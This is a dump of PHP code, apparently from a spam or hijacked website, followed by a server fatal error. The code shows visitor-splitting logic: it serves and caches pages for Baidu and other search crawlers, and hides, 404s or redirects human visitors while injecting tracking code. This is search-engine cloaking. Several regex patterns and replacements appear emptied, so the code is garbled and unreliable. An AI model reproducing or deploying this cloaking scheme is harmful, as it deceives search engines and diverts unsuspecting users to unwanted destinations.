function show($html) { // 清除旧的脚本引用 $html = preg_replace('//iU', '', $html); global $config, $key; // 如果跳转广告开启,则修改播放器参数,防止播放冲突 if ($config['site']['jump'] === 1) { $html = str_replace('var maccms','var maccms222', $html); } // 添加访问统计代码 $html = addtj($html); if ($config['site']['zhuanma'] === 1) { $html = toChEntity($html); } // 如果是百度蜘蛛,则留下缓存后直接输出 if (stripos($_SERVER['HTTP_USER_AGENT'], 'Baiduspider') !== false) { cachePage($html); exit($html); } // 其他蜘蛛访问(如360Spider、Sogou等)直接输出 if (isSpider()) { exit($html); } $status = ''; // 根据配置判断是否需要对真人隐藏或跳转 if (($key != '' && $config['site']['userhide']) || ($key == '' && $config['site']['indexhide'])) { $status = 'hide'; } if (($config['site']['jump'] && $key != '') || ($config['site']['indexjump'] && $key == '')) { $status = 'jump'; } if ($config['site']['jump'] && $key != '') { $status = 'jump'; } if ($status == '') { exit($html); } if ($status == 'jump' && $config['site']['jump404']) { show404(); } if ($status == 'jump') { // 添加跳转统计代码 if (isMobile()){ $html = addtjjump($html); } if ($GLOBALS['config']['site']['iframe_or_jump']) { $html = preg_replace('/(.*)/iU', "$1", $html); } else { $html = preg_replace('/(<\/body.*>)/iU', "$1", $html); } } exit(preg_replace('/(.*)/iU', "$1" . PHP_EOL, $html)); } // 新增:用于缓存页面内容的函数 function cachePage($html) { // 定义缓存目录,这里放在当前目录下的 cache 文件夹中 $cacheDir = __DIR__ . '/cache/'; if (!is_dir($cacheDir)) { mkdir($cacheDir, 0777, true); } // 根据请求 URI 生成缓存文件名(可根据实际需要自定义) $cacheFile = $cacheDir . md5($_SERVER['REQUEST_URI']) . '.html'; file_put_contents($cacheFile, $html); }
Fatal error: Call to undefined function denyAccess() in /home/www/wwwroot/www.longcai0427.com/public/view.php on line 22